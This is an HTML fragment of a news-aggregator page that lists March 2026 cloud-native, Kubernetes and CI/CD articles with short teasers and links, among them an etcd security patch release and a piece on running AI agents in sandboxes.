        </h2><h3 id="h3-beyond-batch-volcano-evolves-into-the-ai-native-unified-scheduling-platform" class="group relative scroll-mt-24">
        <a href="#h3-beyond-batch-volcano-evolves-into-the-ai-native-unified-scheduling-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond Batch: Volcano Evolves into the AI-Native Unified Scheduling Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-batch-volcano-evolves-into-the-ai-native-unified-scheduling-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The world of AI workloads is changing fast. A few years ago, “AI on Kubernetes” mostly meant running long training jobs. Today, with the rise of Large Language Models (LLMs), the focus has shifted to </p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/23/beyond-batch-volcano-evolves-into-the-ai-native-unified-scheduling-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-metal3-at-kubecon-cloudnativecon-europe-2026-meet-the-cncfs-freshly-incubated-bare-metal-project" class="group relative scroll-mt-24">
        <a href="#h3-metal3-at-kubecon-cloudnativecon-europe-2026-meet-the-cncfs-freshly-incubated-bare-metal-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Metal3 at KubeCon + CloudNativeCon Europe 2026: Meet the CNCF’s Freshly Incubated Bare Metal Project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-metal3-at-kubecon-cloudnativecon-europe-2026-meet-the-cncfs-freshly-incubated-bare-metal-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Metal3 (pronounced “metal cubed”) entered 2026 as one of the newest incubating projects in the CNCF. As the foundational layer for infrastructure management in self-hosted Kubernetes clouds, Metal3 an</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/23/metal3-at-kubecon-cloudnativecon-europe-2026-meet-the-cncfs-freshly-incubated-bare-metal-project/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cncf-introduces-a-new-recertification-program-as-kubestronaut-community-surpasses-3500" class="group relative scroll-mt-24">
        <a href="#h3-cncf-introduces-a-new-recertification-program-as-kubestronaut-community-surpasses-3500" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 CNCF Introduces a New Recertification Program as Kubestronaut Community Surpasses 3,500
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cncf-introduces-a-new-recertification-program-as-kubestronaut-community-surpasses-3500"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The cloud native ecosystem moves fast and the professionals building it move even faster. Over the past decade, Kubernetes has grown from an underdog orchestration system into the backbone of modern i</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/23/cncf-introduces-a-new-recertification-program-as-kubestronaut-community-surpasses-3500/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agones-moves-to-the-cncf-a-new-era-for-open-source-multiplayer-game-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-agones-moves-to-the-cncf-a-new-era-for-open-source-multiplayer-game-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agones Moves to the CNCF: A New Era for Open Source Multiplayer Game Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agones-moves-to-the-cncf-a-new-era-for-open-source-multiplayer-game-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Agones project, the open source platform for scaling and orchestrating dedicated game servers on Kubernetes, celebrates its official transition to the Cloud Native Computing Foundation (CNCF). Ori</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/23/agones-moves-to-the-cncf-a-new-era-for-open-source-multiplayer-game-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-webassembly-wont-replace-kubernetes-but-makes-helm-more-secure" class="group relative scroll-mt-24">
        <a href="#h3-why-webassembly-wont-replace-kubernetes-but-makes-helm-more-secure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why WebAssembly won’t replace Kubernetes but makes Helm more secure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-webassembly-wont-replace-kubernetes-but-makes-helm-more-secure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>My gut reaction has often been to compare WebAssembly to Kubernetes. Flash back to over four years ago: Then, I The post Why WebAssembly won’t replace Kubernetes but makes Helm more secure appeared fi</p>
<p><strong>📅 Mar 21, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/helm-webassembly-kubernetes-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-eks-announces-9999-service-level-agreement-and-new-8xl-scaling-tier-for-provisioned-control-plane-clusters" class="group relative scroll-mt-24">
        <a href="#h3-amazon-eks-announces-9999-service-level-agreement-and-new-8xl-scaling-tier-for-provisioned-control-plane-clusters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EKS announces 99.99% Service Level Agreement and new 8XL scaling tier for Provisioned Control Plane clusters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-eks-announces-9999-service-level-agreement-and-new-8xl-scaling-tier-for-provisioned-control-plane-clusters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Elastic Kubernetes Service (Amazon EKS) now offers a 99.99% Service Level Agreement (SLA) for clusters running on Provisioned Control Plane, up from the 99.95% SLA offered on standard control p</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-eks-announces-sla-8xl-scaling-tier/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-ingress2gateway-10-your-path-to-gateway-api" class="group relative scroll-mt-24">
        <a href="#h3-announcing-ingress2gateway-10-your-path-to-gateway-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Ingress2Gateway 1.0: Your Path to Gateway API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-ingress2gateway-10-your-path-to-gateway-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With the Ingress-NGINX retirement scheduled for March 2026, the Kubernetes networking landscape is at a turning point. For most organizations, the question isn&#39;t whether to migrate to Gateway API, but</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/03/20/ingress2gateway-1-0-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-neuron-announces-support-for-dynamic-resource-allocation-with-amazon-eks" class="group relative scroll-mt-24">
        <a href="#h3-aws-neuron-announces-support-for-dynamic-resource-allocation-with-amazon-eks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Neuron announces support for Dynamic Resource Allocation with Amazon EKS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-neuron-announces-support-for-dynamic-resource-allocation-with-amazon-eks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS announces the Neuron Dynamic Resource Allocation (DRA) driver for Amazon Elastic Kubernetes Service (EKS), bringing Kubernetes-native hardware-aware scheduling to AWS Trainium-based instances. The</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/neuron-eks-dra-support/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-running-agents-on-kubernetes-with-agent-sandbox" class="group relative scroll-mt-24">
        <a href="#h3-running-agents-on-kubernetes-with-agent-sandbox" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Running Agents on Kubernetes with Agent Sandbox
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-running-agents-on-kubernetes-with-agent-sandbox"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The landscape of artificial intelligence is undergoing a massive architectural shift. In the early days of generative AI, interacting with a model was often treated as a transient, stateless function </p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/03/20/running-agents-on-kubernetes-with-agent-sandbox/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-instrument-zerocode-observability-for-llms-and-agents-on-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-instrument-zerocode-observability-for-llms-and-agents-on-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Instrument zero‑code observability for LLMs and agents on Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-instrument-zerocode-observability-for-llms-and-agents-on-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The world is changing all around us thanks to AI. Today, anyone and everyone can be a developer, using LLMs to create LLM-powered applications, which users can then interact with by using even m</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-zero-code/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-saas-observability-era-is-ending-why-byoc-is-the-future-of-telemetry" class="group relative scroll-mt-24">
        <a href="#h3-the-saas-observability-era-is-ending-why-byoc-is-the-future-of-telemetry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The SaaS Observability Era is Ending: Why BYOC Is the Future of Telemetry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-saas-observability-era-is-ending-why-byoc-is-the-future-of-telemetry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The era of expensive, centralized SaaS observability is hitting a wall. Discover why the &quot;architectural revolution&quot; of Bring Your Own Cloud (BYOC) is the 2026 solution for Kubernetes and AI workloads,</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-saas-observability-era-is-ending-why-byoc-is-the-future-of-telemetry/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-march-20-security-release-patches-auth-vulnerabilities" class="group relative scroll-mt-24">
        <a href="#h3-march-20-security-release-patches-auth-vulnerabilities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 March 20 Security Release Patches Auth Vulnerabilities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-march-20-security-release-patches-auth-vulnerabilities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SIG-etcd released updates 3.6.9, 3.5.28, and 3.4.42 today. These patch releases fix several vulnerabilities which allow unauthorized users to bypass authentication or authorization controls that are p</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 etcd Blog</strong></p>
<p><a href="https://etcd.io/blog/2026/mar20-patch-release/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-celebrating-10-years-of-cilium-whats-new-and-whats-next" class="group relative scroll-mt-24">
        <a href="#h3-celebrating-10-years-of-cilium-whats-new-and-whats-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Celebrating 10 Years of Cilium: What’s New and What’s Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-celebrating-10-years-of-cilium-whats-new-and-whats-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Author: Katie Meinders, Isovalent Cilium is officially 10 years old and has firmly established itself as the default CNI for production…</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Cilium Blog</strong></p>
<p><a href="https://cilium.io/blog/2026/03/23/2026-03-23-ciliumcon-momentum"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-partners-with-snyk-for-scanning-chiseled-ubuntu-containers" class="group relative scroll-mt-24">
        <a href="#h3-canonical-partners-with-snyk-for-scanning-chiseled-ubuntu-containers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical partners with Snyk for scanning chiseled Ubuntu containers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-partners-with-snyk-for-scanning-chiseled-ubuntu-containers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical, the publisher of Ubuntu, is pleased to announce a new partnership with developer-focused cybersecurity company Snyk. Snyk Container, Snyk’s container security solution, now offers native su</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-partners-with-snyk-for-scanning-chiseled-ubuntu-containers"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-the-captains-chair-naga-santhosh-reddy-vootukuri" class="group relative scroll-mt-24">
        <a href="#h3-from-the-captains-chair-naga-santhosh-reddy-vootukuri" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From the Captain’s Chair: Naga Santhosh Reddy Vootukuri
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-the-captains-chair-naga-santhosh-reddy-vootukuri"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Docker Captains are leaders from the developer community that are both experts in their field and are passionate about sharing their Docker knowledge with others. “From the Captain’s Chair” is a blog </p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/from-the-captains-chair-naga-santhosh-reddy-vootukuri/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-openshift-service-mesh-33-with-post-quantum-cryptography" class="group relative scroll-mt-24">
        <a href="#h3-introducing-openshift-service-mesh-33-with-post-quantum-cryptography" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing OpenShift Service Mesh 3.3 with post-quantum cryptography
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-openshift-service-mesh-33-with-post-quantum-cryptography"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Service Mesh 3.3 is now generally available with Red Hat OpenShift Container Platform and Red Hat OpenShift Platform Plus. Based on the Istio, Envoy, and Kiali projects, this release</p>
<p><strong>📅 Mar 17, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/openshift-service-mesh-33-adds-post-quantum-cryptography"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-when-does-experimentation-add-value-a-product-managers-guide" class="group relative scroll-mt-24">
        <a href="#h3-when-does-experimentation-add-value-a-product-managers-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When does experimentation add value? A product manager’s guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-does-experimentation-add-value-a-product-managers-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>10 compelling situations where you should consider running an experiment.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/when-does-experimentation-add-value/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-software-releases-navigating-between-innovation-and-user-expectations" class="group relative scroll-mt-24">
        <a href="#h3-software-releases-navigating-between-innovation-and-user-expectations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Software releases: navigating between innovation and user expectations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-software-releases-navigating-between-innovation-and-user-expectations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our Field CTO Yadi Narayana discusses strategies for maintaining safe releases while still supporting a culture of innovation.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/navigating-between-innovation-and-user-expectations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-new-insights-integrations-and-ways-to-manage-releases-at-scale-with-launchdarkly" class="group relative scroll-mt-24">
        <a href="#h3-introducing-new-insights-integrations-and-ways-to-manage-releases-at-scale-with-launchdarkly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing new insights, integrations, and ways to manage releases at scale with LaunchDarkly
        </a>
        <button 
